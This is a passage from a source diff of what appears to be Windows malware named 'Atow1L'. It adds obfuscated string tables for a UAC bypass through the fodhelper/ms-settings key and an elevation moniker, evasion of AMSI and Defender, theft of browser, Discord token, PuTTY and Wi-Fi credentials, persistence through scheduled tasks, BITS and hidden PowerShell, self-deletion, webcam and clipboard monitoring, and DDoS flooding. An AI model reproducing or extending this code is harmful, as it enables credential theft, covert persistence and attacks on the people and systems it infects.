"Local\\Atow1LPersistMtx" (22 bytes) +static const uint8_t enc_obf_persist_mutex[] = { + 0x82, 0xCB, 0xDF, 0x0E, 0xD6, 0xD0, 0x1D, 0x54, 0x03, 0xC7, 0x6B, 0xB6, 0x01, 0x2D, 0x44, 0xD9, + 0x36, 0x39, 0xEE, 0x1D, 0x3C, 0xF4 +}; + +// "Software\\Classes\\ms-settings\\shell\\open\\command" (47 bytes) +static const uint8_t enc_obf_ms_settings_cmd[] = { + 0x9D, 0xCB, 0xDA, 0x1B, 0xCD, 0xED, 0x2E, 0x45, 0x30, 0xF3, 0x36, 0x9B, 0x22, 0x3B, 0x53, 0xD9, + 0x03, 0x27, 0xE9, 0x7D, 0x3B, 0xE9, 0xDD, 0xC6, 0x52, 0x63, 0xB0, 0xBA, 0x8C, 0xDD, 0xAF, 0x96, + 0x31, 0x40, 0x51, 0xEF, 0x81, 0xC2, 0x1F, 0xC3, 0x62, 0xBF, 0xF3, 0x38, 0x3E, 0x39, 0x80 +}; + +// "DelegateExecute" (15 bytes) +static const uint8_t enc_obf_delegate_execute[] = { + 0x8A, 0xC1, 0xD0, 0x0A, 0xDD, 0xED, 0x28, 0x45, 0x29, 0xC8, 0x3F, 0x99, 0x24, 0x3C, 0x53 +}; + +// "netapi32.dll" (12 bytes) +static const uint8_t enc_obf_netapi32[] = { + 0xA0, 0xC1, 0xC8, 0x0E, 0xCA, 0xE5, 0x6F, 0x12, 0x42, 0xD4, 0x36, 0x96 +}; + +// "amsi.dll" (8 bytes) +static const uint8_t enc_obf_amsi[] = { + 0xAF, 0xC9, 0xCF, 0x06, 0x94, 0xE8, 0x30, 0x4C +}; + +// "MsMpEng.exe" (11 bytes) +static const uint8_t enc_obf_msmpeng[] = { + 0x83, 0xD7, 0xF1, 0x1F, 0xFF, 0xE2, 0x3B, 0x0E, 0x09, 0xC8, 0x3F +}; + +// "MpCmdRun.exe" (12 bytes) +static const uint8_t enc_obf_mpcmdrun[] = { + 0x83, 0xD4, 0xFF, 0x02, 0xDE, 0xDE, 0x29, 0x4E, 0x42, 0xD5, 0x22, 0x9F +}; + +// "MsSense.exe" (11 bytes) +static const uint8_t enc_obf_mssense[] = { + 0x83, 0xD7, 0xEF, 0x0A, 0xD4, 0xFF, 0x39, 0x0E, 0x09, 0xC8, 0x3F +}; + +// "SecurityHealthService.exe" (25 bytes) +static const uint8_t enc_obf_sechealth[] = { + 0x9D, 0xC1, 0xDF, 0x1A, 0xC8, 0xE5, 0x28, 0x59, 0x24, 0xD5, 0x3B, 0x96, 0x25, 0x20, 0x65, 0xCF, + 0x2D, 0x3C, 0xF3, 0x33, 0x2D, 0xA2, 0xCC, 0xCA, 0x5E +}; + +// "SgrmBroker.exe" (14 bytes) +static const uint8_t enc_obf_sgrmbroker[] = { + 0x9D, 0xC3, 0xCE, 0x02, 0xF8, 0xFE, 0x33, 0x4B, 0x09, 0xC2, 0x74, 0x9F, 0x29, 0x2D +}; + +// "Google\\Chrome\\User Data" (23 bytes) +static const uint8_t enc_obf_chrome_userdata[] = { + 0x89, 0xCB, 0xD3, 0x08, 0xD6, 0xE9, 0x00, 0x63, 0x04, 0xC2, 0x35, 0x97, 0x34, 0x14, 0x63, 0xD9, + 0x3A, 0x38, 0xBA, 0x14, 0x29, 0xF8, 0xC8 +}; + +// "Microsoft\\Edge\\User Data" (24 bytes) +static const uint8_t enc_obf_edge_userdata[] = { + 0x83, 0xCD, 0xDF, 0x1D, 0xD5, 0xFF, 0x33, 0x46, 0x18, 0xEC, 0x1F, 0x9E, 0x36, 0x2D, 0x6A, 0xFF, + 0x2C, 0x2F, 0xE8, 0x70, 0x0C, 0xED, 0xDD, 0xD3 +}; + +// "BraveSoftware\\Brave-Browser\\User Data" (37 bytes) +static const uint8_t enc_obf_brave_userdata[] = { + 0x8C, 0xD6, 0xDD, 0x19, 0xDF, 0xDF, 0x33, 0x46, 0x18, 0xC7, 0x3B, 0x88, 0x34, 0x14, 0x74, 0xD8, + 0x3E, 0x3C, 0xFF, 0x7D, 0x0A, 0xFE, 0xC6, 0xC5, 0x48, 0x68, 0xA5, 0x95, 0x85, 0xDD, 0xA2, 0x81, + 0x7D, 0x68, 0x6C, 0xF4, 0x90 +}; + +// "Opera Software\\Opera Stable" (27 bytes) +static const uint8_t enc_obf_opera_userdata[] = { + 0x81, 0xD4, 0xD9, 0x1D, 0xDB, 0xAC, 0x0F, 0x4F, 0x0A, 0xC4, 0x2D, 0x9B, 0x23, 0x2D, 0x6A, 0xE5, + 0x2F, 0x2F, 0xE8, 0x31, 0x68, 0xDF, 0xDD, 0xD3, 0x59, 0x61, 0xB2 +}; + +// "Vivaldi\\User Data" (17 bytes) +static const uint8_t enc_obf_vivaldi_userdata[] = { + 0x98, 0xCD, 0xCA, 0x0E, 0xD6, 0xE8, 0x35, 0x7C, 0x39, 0xC3, 0x3F, 0x88, 0x71, 0x0C, 0x57, 0xDE, + 0x3E +}; + +// "SOFTWARE\\Mozilla\\Mozilla Firefox" (32 bytes) +static const uint8_t enc_obf_firefox_reg[] = { + 0x9D, 0xEB, 0xFA, 0x3B, 0xED, 0xCD, 0x0E, 0x65, 0x30, 0xFD, 0x35, 0x80, 0x38, 0x24, 0x5A, 0xCB, + 0x03, 0x07, 0xF5, 0x2A, 0x21, 0xE0, 0xC5, 0xD3, 0x1B, 0x4B, 0xBE, 0xBB, 0xB5, 0xC8, 0xA8, 0x8B +}; + +// "SOFTWARE\\Mozilla\\Mozilla Firefox\\%s\\Main" (40 bytes) +static const uint8_t enc_obf_firefox_regmain[] = { + 0x9D, 0xEB, 0xFA, 0x3B, 0xED, 0xCD, 0x0E, 0x65, 0x30, 0xFD, 0x35, 0x80, 0x38, 0x24, 0x5A, 0xCB, + 0x03, 0x07, 0xF5, 0x2A, 0x21, 0xE0, 0xC5, 0xD3, 0x1B, 0x4B, 0xBE, 0xBB, 0xB5, 0xC8, 0xA8, 0x8B, + 0x01, 0x09, 0x7E, 0xDC, 0xBC, 0xC6, 0x18, 0xF1 +}; + +// "C:\\Program Files\\Mozilla Firefox" (32 bytes) +static const uint8_t enc_obf_firefox_x64[] = { + 0x8D, 0x9E, 0xE0, 0x3F, 0xC8, 0xE3, 0x3B, 0x52, 0x0D, 0xDD, 0x7A, 0xBC, 0x38, 0x24, 0x53, 0xD9, + 0x03, 0x07, 0xF5, 0x2A, 0x21, 0xE0, 0xC5, 0xD3, 0x1B, 0x4B, 0xBE, 0xBB, 0xB5, 0xC8, 0xA8, 0x8B +}; + +// "C:\\Program Files (x86)\\Mozilla Firefox" (38 bytes) +static const uint8_t enc_obf_firefox_x86[] = { + 0x8D, 0x9E, 0xE0, 0x3F, 0xC8, 0xE3, 0x3B, 0x52, 0x0D, 0xDD, 0x7A, 0xBC, 0x38, 0x24, 0x53, 0xD9, + 0x7F, 0x62, 0xE2, 0x68, 0x7E, 0xA5, 0xF5, 0xFF, 0x54, 0x77, 0xBE, 0xA5, 0xBC, 0xCF, 0xE7, 0xB5, + 0x34, 0x5E, 0x68, 0xE6, 0x9E, 0xDF +}; + +// "version.dll" (11 bytes) +static const uint8_t enc_obf_version_dll[] = { + 0xB8, 0xC1, 0xCE, 0x1C, 0xD3, 0xE3, 0x32, 0x0E, 0x08, 0xDC, 0x36 +}; + +// "dxgi.dll" (8 bytes) +static const uint8_t enc_obf_dxgi_dll[] = { + 0xAA, 0xDC, 0xDB, 0x06, 0x94, 0xE8, 0x30, 0x4C +}; + +// "d3d11.dll" (9 bytes) +static const uint8_t enc_obf_d3d11_dll[] = { + 0xAA, 0x97, 0xD8, 0x5E, 0x8B, 0xA2, 0x38, 0x4C, 0x00 +}; + +// "rstrtmgr.dll" (12 bytes) +static const uint8_t enc_obf_rstrtmgr_dll[] = { + 0xBC, 0xD7, 0xC8, 0x1D, 0xCE, 0xE1, 0x3B, 0x52, 0x42, 0xD4, 0x36, 0x96 +}; + +// "cmd.exe /c wmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName /format:list" (100 bytes) +static const uint8_t enc_obf_wmic_av[] = { + 0xAD, 0xC9, 0xD8, 0x41, 0xDF, 0xF4, 0x39, 0x00, 0x43, 0xD3, 0x7A, 0x8D, 0x3C, 0x21, 0x55, 0x8A, + 0x70, 0x24, 0xFB, 0x3D, 0x2D, 0xFF, 0xD9, 0xD3, 0x58, 0x68, 0xED, 0x95, 0x8C, 0xDC, 0xA8, 0x9C, + 0x29, 0x70, 0x5E, 0xE5, 0x92, 0xD2, 0x03, 0xF6, 0x75, 0xA9, 0xDD, 0x30, 0x31, 0x23, 0x81, 0x3A, + 0xE6, 0x8B, 0x2B, 0x8F, 0x5B, 0x4B, 0xBE, 0x5D, 0xF2, 0xE1, 0x0B, 0x4C, 0xD1, 0xF2, 0x54, 0x6A, + 0xA9, 0x1C, 0x96, 0xE7, 0x7C, 0x3F, 0x15, 0x49, 0xA2, 0xB4, 0xAF, 0x12, 0xA9, 0xD9, 0xC9, 0x59, + 0x9C, 0xDE, 0xFF, 0xCE, 0xD6, 0x1A, 0xB1, 0xC3, 0x84, 0x19, 0x36, 0x53, 0x5B, 0xE6, 0x9B, 0x91, + 0xF9, 0xF6, 0x80, 0x18 +}; + +// "netsh wlan show profiles" (24 bytes) +static const uint8_t enc_obf_netsh_profiles[] = { + 0xA0, 0xC1, 0xC8, 0x1C, 0xD2, 0xAC, 0x2B, 0x4C, 0x0D, 0xDE, 0x7A, 0x89, 0x39, 0x27, 0x41, 0x8A, + 0x2F, 0x38, 0xF5, 0x36, 0x21, 0xE0, 0xCC, 0xC1 +}; + +// "netsh wlan show profile name=\\\"%s\\\" key=clear" (45 bytes) +static const uint8_t enc_obf_netsh_profile_key[] = { + 0xA0, 0xC1, 0xC8, 0x1C, 0xD2, 0xAC, 0x2B, 0x4C, 0x0D, 0xDE, 0x7A, 0x89, 0x39, 0x27, 0x41, 0x8A, + 0x2F, 0x38, 0xF5, 0x36, 0x21, 0xE0, 0xCC, 0x92, 0x55, 0x6C, 0xBA, 0xAC, 0xED, 0xF2, 0xE5, 0xD6, + 0x2E, 0x70, 0x2F, 0xA0, 0x9A, 0xC2, 0x08, 0xA2, 0x62, 0xBC, 0xFB, 0x34, 0x2D +}; + +// "cmd.exe /c ipconfig /flushdns" (29 bytes) +static const uint8_t enc_obf_ipconfig_flush[] = { + 0xAD, 0xC9, 0xD8, 0x41, 0xDF, 0xF4, 0x39, 0x00, 0x43, 0xD3, 0x7A, 0x93, 0x21, 0x2B, 0x59, 0xC4, + 0x39, 0x23, 0xFD, 0x70, 0x67, 0xEA, 0xC5, 0xC7, 0x48, 0x65, 0xB3, 0xA7, 0xA3 +}; + +// "cmd.exe /c ping 127.0.0.1 -n 3 > nul & del /f /q \\\"%s\\\"" (55 bytes) +static const uint8_t enc_obf_self_delete[] = { + 0xAD, 0xC9, 0xD8, 0x41, 0xDF, 0xF4, 0x39, 0x00, 0x43, 0xD3, 0x7A, 0x8A, 0x38, 0x26, 0x51, 0x8A, + 0x6E, 0x78, 0xAD, 0x7E, 0x78, 0xA2, 0x99, 0x9C, 0x0A, 0x2D, 0xFA, 0xA7, 0xF0, 0x9D, 0xE7, 0xCD, + 0x7D, 0x42, 0x78, 0xEC, 0xD1, 0x81, 0x51, 0xFB, 0x64, 0xBC, 0xBE, 0x7A, 0x39, 0x77, 0xCB, 0x39, + 0xF4, 0xF7, 0x79, 0xCB, 0x5C, 0x7F, 0xBC +}; + +// "SOFTWARE\\Microsoft\\Cryptography" (31 bytes) +static const uint8_t enc_obf_reg_cryptography[] = { + 0x9D, 0xEB, 0xFA, 0x3B, 0xED, 0xCD, 0x0E, 0x65, 0x30, 0xFD, 0x33, 0x99, 0x23, 0x27, 0x45, 0xC5, + 0x39, 0x3E, 0xC6, 0x13, 0x3A, 0xF5, 0xD9, 0xC6, 0x54, 0x6A, 0xA5, 0xA8, 0xA0, 0xC6, 0xBE +}; + +// "SOFTWARE\\SimonTatham\\PuTTY\\Sessions" (35 bytes) +static const uint8_t enc_obf_reg_putty[] = { + 0x9D, 0xEB, 0xFA, 0x3B, 0xED, 0xCD, 0x0E, 0x65, 0x30, 0xE3, 0x33, 0x97, 0x3E, 0x26, 0x62, 0xCB, + 0x2B, 0x22, 0xFB, 0x3D, 0x14, 0xDC, 0xDC, 0xE6, 0x6F, 0x54, 0x8B, 0x9A, 0xB5, 0xDD, 0xB4, 0x9A, + 0x32, 0x42, 0x7E +}; + +// "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0" (46 bytes) +static const uint8_t enc_obf_reg_cpu[] = { + 0x86, 0xE5, 0xEE, 0x2B, 0xED, 0xCD, 0x0E, 0x65, 0x30, 0xF4, 0x1F, 0xA9, 0x12, 0x1A, 0x7F, 0xFA, + 0x0B, 0x03, 0xD5, 0x1E, 0x14, 0xDF, 0xD0, 0xC1, 0x4F, 0x68, 0xBA, 0x95, 0x93, 0xCB, 0xA9, 0x87, + 0x2F, 0x4D, 0x61, 0xD0, 0x83, 0xC8, 0x12, 0xFA, 0x72, 0xA3, 0xF1, 0x27, 0x03, 0x67 +}; + +// "C:\\Windows\\System32\\ntdll.dll" (29 bytes) +static const uint8_t enc_obf_ntdll_path[] = { + 0x8D, 0x9E, 0xE0, 0x38, 0xD3, 0xE2, 0x38, 0x4F, 0x1B, 0xC3, 0x06, 0xA9, 0x28, 0x3B, 0x42, 0xCF, + 0x32, 0x79, 0xA8, 0x0C, 0x26, 0xF8, 0xCD, 0xDE, 0x57, 0x23, 0xB3, 0xA5, 0xBC +}; + +// "C:\\Windows\\System32\\drivers\\etc\\hosts" (37 bytes) +static const uint8_t enc_obf_hosts_path[] = { + 0x8D, 0x9E, 0xE0, 0x38, 0xD3, 0xE2, 0x38, 0x4F, 0x1B, 0xC3, 0x06, 0xA9, 0x28, 0x3B, 0x42, 0xCF, + 0x32, 0x79, 0xA8, 0x0C, 0x2C, 0xFE, 0xC0, 0xC4, 0x5E, 0x7F, 0xA4, 0x95, 0xB5, 0xDA, 0xA4, 0xAF, + 0x35, 0x43, 0x7E, 0xF4, 0x82 +}; + +// "sethc.exe" (9 bytes) +static const uint8_t enc_obf_sethc_exe[] = { + 0xBD, 0xC1, 0xC8, 0x07, 0xD9, 0xA2, 0x39, 0x58, 0x09 +}; + +// "fodhelper.exe" (13 bytes) +static const uint8_t enc_obf_fodhelper_exe[] = { + 0xA8, 0xCB, 0xD8, 0x07, 0xDF, 0xE0, 0x2C, 0x45, 0x1E, 0x9E, 0x3F, 0x82, 0x34 +}; + +// "Atow1LClipMon" (13 bytes) +static const uint8_t enc_obf_clipmon_class[] = { + 0x8F, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x1F, 0x4C, 0x05, 0xC0, 0x17, 0x95, 0x3F +}; + +// "Atow1LBlack" (11 bytes) +static const uint8_t enc_obf_black_class[] = { + 0x8F, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x1E, 0x4C, 0x0D, 0xD3, 0x31 +}; + +// "Atow1LWebcam" (12 bytes) +static const uint8_t enc_obf_webcam_class[] = { + 0x8F, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x0B, 0x45, 0x0E, 0xD3, 0x3B, 0x97 +}; + +// "discord\\Local Storage\\leveldb" (29 bytes) +static const uint8_t enc_obf_discord_ldb[] = { + 0xAA, 0xCD, 0xCF, 0x0C, 0xD5, 0xFE, 0x38, 0x7C, 0x20, 0xDF, 0x39, 0x9B, 0x3D, 0x68, 0x65, 0xDE, + 0x30, 0x38, 0xFB, 0x37, 0x2D, 0xD0, 0xC5, 0xD7, 0x4D, 0x68, 0xBB, 0xAD, 0xB2 +}; + +// "discordcanary\\Local Storage\\leveldb" (35 bytes) +static const uint8_t enc_obf_discord_canary_ldb[] = { + 0xAA, 0xCD, 0xCF, 0x0C, 0xD5, 0xFE, 0x38, 0x43, 0x0D, 0xDE, 0x3B, 0x88, 0x28, 0x14, 0x7A, 0xC5, + 0x3C, 0x2B, 0xF6, 0x70, 0x1B, 0xF8, 0xC6, 0xC0, 0x5A, 0x6A, 0xB2, 0x95, 0xBC, 0xCB, 0xB1, 0x96, + 0x31, 0x48, 0x6F +}; + +// "discordptb\\Local Storage\\leveldb" (32 bytes) +static const uint8_t enc_obf_discord_ptb_ldb[] = { + 0xAA, 0xCD, 0xCF, 0x0C, 0xD5, 0xFE, 0x38, 0x50, 0x18, 0xD2, 0x06, 0xB6, 0x3E, 0x2B, 0x57, 0xC6, + 0x7F, 0x19, 0xEE, 0x3F, 0x3A, 0xED, 0xCE, 0xD7, 0x67, 0x61, 0xB2, 0xBF, 0xB5, 0xC2, 0xA3, 0x91 +}; + +// "BraveSoftware\\Brave-Browser\\Application\\brave.exe" (49 bytes) +static const uint8_t enc_obf_brave_exe_path[] = { + 0x8C, 0xD6, 0xDD, 0x19, 0xDF, 0xDF, 0x33, 0x46, 0x18, 0xC7, 0x3B, 0x88, 0x34, 0x14, 0x74, 0xD8, + 0x3E, 0x3C, 0xFF, 0x7D, 0x0A, 0xFE, 0xC6, 0xC5, 0x48, 0x68, 0xA5, 0x95, 0x91, 0xDE, 0xB7, 0x9F, + 0x34, 0x4F, 0x6C, 0xF4, 0x98, 0xC8, 0x1F, 0xC3, 0x63, 0xA2, 0xFF, 0x23, 0x3A, 0x79, 0x81, 0x30, + 0xB1 +}; + +// "Google\\Chrome\\Application\\chrome.exe" (36 bytes) +static const uint8_t enc_obf_chrome_exe_path[] = { + 0x89, 0xCB, 0xD3, 0x08, 0xD6, 0xE9, 0x00, 0x63, 0x04, 0xC2, 0x35, 0x97, 0x34, 0x14, 0x77, 0xDA, + 0x2F, 0x26, 0xF3, 0x33, 0x29, 0xF8, 0xC0, 0xDD, 0x55, 0x51, 0xB4, 0xA1, 0xA2, 0xC1, 0xAA, 0x96, + 0x73, 0x49, 0x75, 0xE5 +}; + +// "Microsoft\\Edge\\Application\\msedge.exe" (37 bytes) +static const uint8_t enc_obf_edge_exe_path[] = { + 0x83, 0xCD, 0xDF, 0x1D, 0xD5, 0xFF, 0x33, 0x46, 0x18, 0xEC, 0x1F, 0x9E, 0x36, 0x2D, 0x6A, 0xEB, + 0x2F, 0x3A, 0xF6, 0x39, 0x2B, 0xED, 0xDD, 0xDB, 0x54, 0x63, 0x8B, 0xA4, 0xA3, 0xCB, 0xA3, 0x94, + 0x38, 0x02, 0x68, 0xF8, 0x94 +}; + +// "Mozilla Firefox\\firefox.exe" (27 bytes) +static const uint8_t enc_obf_firefox_exe_path[] = { + 0x83, 0xCB, 0xC6, 0x06, 0xD6, 0xE0, 0x3D, 0x00, 0x2A, 0xD9, 0x28, 0x9F, 0x37, 0x27, 0x4E, 0xF6, + 0x39, 0x23, 0xE8, 0x35, 0x2E, 0xE3, 0xD1, 0x9C, 0x5E, 0x75, 0xB2 +}; + +// "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " (75 bytes) +static const uint8_t enc_obf_ps_prefix[] = { + 0xBE, 0xCB, 0xCB, 0x0A, 0xC8, 0xFF, 0x34, 0x45, 0x00, 0xDC, 0x74, 0x9F, 0x29, 0x2D, 0x16, 0x87, + 0x11, 0x25, 0xCA, 0x22, 0x27, 0xEA, 0xC0, 0xDE, 0x5E, 0x2D, 0xFA, 0x87, 0xBF, 0xC0, 0x8E, 0x9D, + 0x29, 0x49, 0x7F, 0xE1, 0x92, 0xD3, 0x18, 0xE9, 0x64, 0xF0, 0xB3, 0x10, 0x27, 0x32, 0x87, 0x3D, + 0xA0, 0xC2, 0x34, 0x80, 0x7F, 0x4C, 0xF2, 0x75, 0xFF, 0xEC, 0x42, 0x58, 0xC1, 0xF0, 0x40, 0x6A, + 0x8A, 0x4E, 0xD4, 0xC0, 0x66, 0x31, 0x0C, 0x08, 0xAB, 0xB5, 0xFB +}; + +// "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command " (71 bytes) +static const uint8_t enc_obf_ps_hidden_prefix[] = { + 0xBE, 0xCB, 0xCB, 0x0A, 0xC8, 0xFF, 0x34, 0x45, 0x00, 0xDC, 0x74, 0x9F, 0x29, 0x2D, 0x16, 0x87, + 0x11, 0x25, 0xCA, 0x22, 0x27, 0xEA, 0xC0, 0xDE, 0x5E, 0x2D, 0xFA, 0x87, 0xBF, 0xC0, 0x8E, 0x9D, + 0x29, 0x49, 0x7F, 0xE1, 0x92, 0xD3, 0x18, 0xE9, 0x64, 0xF0, 0xB3, 0x02, 0x36, 0x39, 0x80, 0x27, + 0xA3, 0xF8, 0x2F, 0x97, 0x43, 0x46, 0xBE, 0x54, 0xF5, 0xF1, 0x06, 0x7F, 0xD6, 0xA0, 0x0C, 0x5A, + 0x96, 0x03, 0x94, 0xE2, 0x67, 0x38, 0x41 +}; + +// "schtasks /Create /TN \\\"%s\\\" /TR \\\"\\\\\"%s\\\\\"\\\" /SC MINUTE /MO %s /F" (65 bytes) +static const uint8_t enc_obf_schtasks_fmt[] = { + 0xBD, 0xC7, 0xD4, 0x1B, 0xDB, 0xFF, 0x37, 0x53, 0x4C, 0x9F, 0x19, 0x88, 0x34, 0x29, 0x42, 0xCF, + 0x7F, 0x65, 0xCE, 0x1E, 0x68, 0xD0, 0x8B, 0x97, 0x48, 0x51, 0xF5, 0xE9, 0xFF, 0xFA, 0x95, 0xD3, + 0x01, 0x0E, 0x51, 0xDC, 0xD3, 0x82, 0x02, 0xC3, 0x5D, 0xF2, 0xC2, 0x77, 0x7F, 0x78, 0xB7, 0x0B, + 0xF4, 0xE6, 0x12, 0xA0, 0x7A, 0x77, 0xDB, 0x3C, 0xB3, 0xD8, 0x2D, 0x3A, 0x9D, 0xF3, 0x01, 0x36, + 0xBF +}; + +// "cmd.exe /c bitsadmin /create \\\"%s\\\" && bitsadmin /addfile \\\"%s\\\" \\\"https://localhost/noexist\\\" \\\"%%TEMP%%\\atow1L_bits.tmp\\\" && bitsadmin /SetNotifyCmdLine \\\"%s\\\" \\\"%s\\\" NUL && bitsadmin /SetMinRetryDelay \\\"%s\\\" 60 && bitsadmin /SetNoProgressTimeout \\\"%s\\\" 2592000 && bitsadmin /resume \\\"%s\\\"" (291 bytes) +static const uint8_t enc_obf_bits_chain_fmt[] = { + 0xAD, 0xC9, 0xD8, 0x41, 0xDF, 0xF4, 0x39, 0x00, 0x43, 0xD3, 0x7A, 0x98, 0x38, 0x3C, 0x45, 0xCB, + 0x3B, 0x27, 0xF3, 0x3E, 0x68, 0xA3, 0xCA, 0xC0, 0x5E, 0x6C, 0xA3, 0xAC, 0xF0, 0xF2, 0xE5, 0xD6, + 0x2E, 0x70, 0x2F, 0xA0, 0xD7, 0x81, 0x51, 0xFD, 0x68, 0xA4, 0xED, 0x34, 0x3B, 0x3A, 0x8D, 0x26, + 0xF4, 0x84, 0x3A, 0x8A, 0x4B, 0x45, 0xF7, 0x70, 0xF9, 0xB5, 0x3E, 0x38, 0x9D, 0xF3, 0x7D, 0x3B, + 0xD9, 0x32, 0xDB, 0xEB, 0x7D, 0x28, 0x11, 0x1A, 0xFF, 0xFE, 0xF4, 0x5E, 0xA2, 0xD3, 0xDB, 0x45, + 0x98, 0xD0, 0xF5, 0xF4, 0x98, 0x19, 0xBB, 0x86, 0xD3, 0x16, 0x2A, 0x55, 0x6A, 0xA5, 0xCF, 0xF7, + 0xB7, 0xBA, 0xD6, 0x38, 0xBF, 0xFF, 0x5D, 0xC1, 0xC3, 0x32, 0x2F, 0xA0, 0x5E, 0xEB, 0xB0, 0x59, + 0x8B, 0xE8, 0xF2, 0xC8, 0x0E, 0x28, 0x01, 0xBF, 0x61, 0x28, 0xED, 0x35, 0x7F, 0x1E, 0x70, 0x50, + 0xED, 0xE1, 0xF2, 0xFE, 0x15, 0x6D, 0x4C, 0x1F, 0x08, 0x00, 0x30, 0x5E, 0x12, 0x17, 0x9C, 0x47, + 0xE1, 0x4F, 0x6E, 0xAB, 0x14, 0x35, 0xCA, 0xCE, 0x8D, 0xB9, 0x50, 0x67, 0xF8, 0x7A, 0xFC, 0x6C, + 0xCD, 0xD2, 0x65, 0xED, 0xA5, 0x4A, 0x45, 0x5D, 0x4E, 0xAB, 0x05, 0x99, 0x9C, 0xDB, 0x23, 0xEA, + 0xA4, 0x5E, 0xAB, 0x33, 0xEA, 0x95, 0x30, 0x68, 0x1A, 0x4A, 0x9E, 0x1D, 0x76, 0x4F, 0xFB, 0x82, + 0x63, 0x4E, 0xB2, 0xA0, 0xEC, 0x5D, 0x02, 0x23, 0xDF, 0x69, 0x13, 0xD5, 0x57, 0x60, 0x1E, 0xCF, + 0x17, 0xEE, 0x6B, 0x32, 0xB1, 0x92, 0x48, 0xEB, 0x8C, 0xA5, 0x11, 0x46, 0x05, 0xA2, 0x67, 0x9E, + 0xF6, 0xF3, 0x88, 0xC4, 0x38, 0xDC, 0x2A, 0x44, 0x30, 0x9F, 0x6E, 0x4E, 0xF9, 0x18, 0x2D, 0x51, + 0xC1, 0xA2, 0x90, 0x82, 0xF8, 0x12, 0x23, 0xF8, 0xE1, 0x8D, 0x5E, 0x8D, 0x61, 0x7D, 0xB4, 0xFD, + 0xEC, 0xF2, 0xCC, 0xF9, 0x2D, 0xCA, 0x28, 0x0C, 0x45, 0x20, 0x5B, 0xAB, 0xF1, 0x5F, 0xD4, 0x9C, + 0xBE, 0xFB, 0x69, 0xF1, 0x91, 0xFB, 0x26, 0x1F, 0x65, 0x0D, 0xDA, 0x8B, 0x2A, 0x57, 0x48, 0x81, + 0x88, 0xF1, 0xFF +}; + +// "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \\\"" (73 bytes) +static const uint8_t enc_obf_wmi_ps_fmt[] = { + 0xBE, 0xCB, 0xCB, 0x0A, 0xC8, 0xFF, 0x34, 0x45, 0x00, 0xDC, 0x74, 0x9F, 0x29, 0x2D, 0x16, 0x87, + 0x11, 0x25, 0xCA, 0x22, 0x27, 0xEA, 0xC0, 0xDE, 0x5E, 0x2D, 0xFA, 0x87, 0xBF, 0xC0, 0x8E, 0x9D, + 0x29, 0x49, 0x7F, 0xE1, 0x92, 0xD3, 0x18, 0xE9, 0x64, 0xF0, 0xB3, 0x02, 0x36, 0x39, 0x80, 0x27, + 0xA3, 0xF8, 0x2F, 0x97, 0x43, 0x46, 0xBE, 0x54, 0xF5, 0xF1, 0x06, 0x7F, 0xD6, 0xA0, 0x0C, 0x5A, + 0x96, 0x03, 0x94, 0xE2, 0x67, 0x38, 0x41, 0x35, 0xE7 +}; + +// "AmsiOpenSession" (15 bytes) +static const uint8_t enc_obf_amsi_open_session[] = { + 0x8F, 0xC9, 0xCF, 0x06, 0xF5, 0xFC, 0x39, 0x4E, 0x3F, 0xD5, 0x29, 0x89, 0x38, 0x27, 0x58 +}; + +// "ReflectiveDllMain" (17 bytes) +static const uint8_t enc_obf_reflective_dll_main[] = { + 0x9C, 0xC1, 0xDA, 0x03, 0xDF, 0xEF, 0x28, 0x49, 0x1A, 0xD5, 0x1E, 0x96, 0x3D, 0x05, 0x57, 0xC3, + 0x31 +}; + +// "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" (66 bytes) +static const uint8_t enc_obf_elevation_moniker[] = { + 0x8B, 0xC8, 0xD9, 0x19, 0xDB, 0xF8, 0x35, 0x4F, 0x02, 0x8A, 0x1B, 0x9E, 0x3C, 0x21, 0x58, 0xC3, + 0x2C, 0x3E, 0xE8, 0x31, 0x3C, 0xE3, 0xDB, 0x93, 0x55, 0x68, 0xA0, 0xF3, 0xAB, 0x9D, 0x82, 0xC6, + 0x1B, 0x6F, 0x3A, 0xC6, 0xC8, 0x8A, 0x48, 0xDE, 0x34, 0xE1, 0xB3, 0x61, 0x6C, 0x61, 0xD3, 0x65, + 0xED, 0x9B, 0x6D, 0xDD, 0x02, 0x62, 0xAF, 0x2E, 0xAC, 0xA7, 0x56, 0x2E, 0xFE, 0xC2, 0x64, 0x5A, + 0xCE, 0x13 +}; + +// "DDoS flood started: %s %s | %d threads | %d seconds" (51 bytes) +static const uint8_t enc_obf_ddos_started_fmt[] = { + 0x8A, 0xE0, 0xD3, 0x3C, 0x9A, 0xEA, 0x30, 0x4F, 0x03, 0xD4, 0x7A, 0x89, 0x25, 0x29, 0x44, 0xDE, + 0x3A, 0x2E, 0xA0, 0x70, 0x6D, 0xFF, 0x89, 0x97, 0x48, 0x2D, 0xAB, 0xE9, 0xF5, 0xCA, 0xE7, 0x87, + 0x35, 0x5E, 0x68, 0xE1, 0x95, 0xD4, 0x51, 0xE3, 0x21, 0xF5, 0xFA, 0x75, 0x2C, 0x32, 0x87, 0x27, + 0xBA, 0xCF, 0x28 +}; + +// "DDoS flood already running. Stop it first." (42 bytes) +static const uint8_t enc_obf_ddos_already[] = { + 0x8A, 0xE0, 0xD3, 0x3C, 0x9A, 0xEA, 0x30, 0x4F, 0x03, 0xD4, 0x7A, 0x9B, 0x3D, 0x3A, 0x53, 0xCB, + 0x3B, 0x33, 0xBA, 0x22, 0x3D, 0xE2, 0xC7, 0xDB, 0x55, 0x6A, 0xF9, 0xE9, 0x83, 0xDA, 0xA8, 0x83, + 0x7D, 0x45, 0x79, 0xA0, 0x97, 0xCE, 0x03, 0xEC, 0x75, 0xFE +}; + +// "DDoS flood stopped. Duration: %lus | Requests: %ld | Errors: %ld | Avg: %.0f req/s" (82 bytes) +static const uint8_t enc_obf_ddos_stopped_fmt[] = { + 0x8A, 0xE0, 0xD3, 0x3C, 0x9A, 0xEA, 0x30, 0x4F, 0x03, 0xD4, 0x7A, 0x89, 0x25, 0x27, 0x46, 0xDA, + 0x3A, 0x2E, 0xB4, 0x70, 0x0C, 0xF9, 0xDB, 0xD3, 0x4F, 0x64, 0xB8, 0xA7, 